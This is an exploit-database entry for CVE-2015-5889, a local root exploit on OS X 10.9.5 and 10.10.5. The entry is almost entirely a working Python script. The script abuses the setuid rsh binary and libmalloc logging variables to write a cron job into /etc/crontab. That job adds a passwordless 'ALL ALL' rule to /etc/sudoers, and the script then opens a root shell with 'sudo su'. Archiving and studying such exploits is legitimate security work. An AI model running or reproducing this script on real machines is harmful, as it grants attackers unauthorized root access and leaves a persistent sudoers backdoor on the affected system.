Apple Mac OSX 10.9.5/10.10.5 - 'rsh/libmalloc' Local Privilege Escalation

Author: rebel
type: local
platform: osx
port: 
date_added: 2015-10-01  
date_updated: 2016-11-02  
verified: 1  
codes: CVE-2015-5889  
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raw file: 38371.py  

# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:
	os.close(1)
	os.close(2)
	os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
	sys.stderr.write("failed\n")
	sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
	sys.stderr.write(".")
	time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")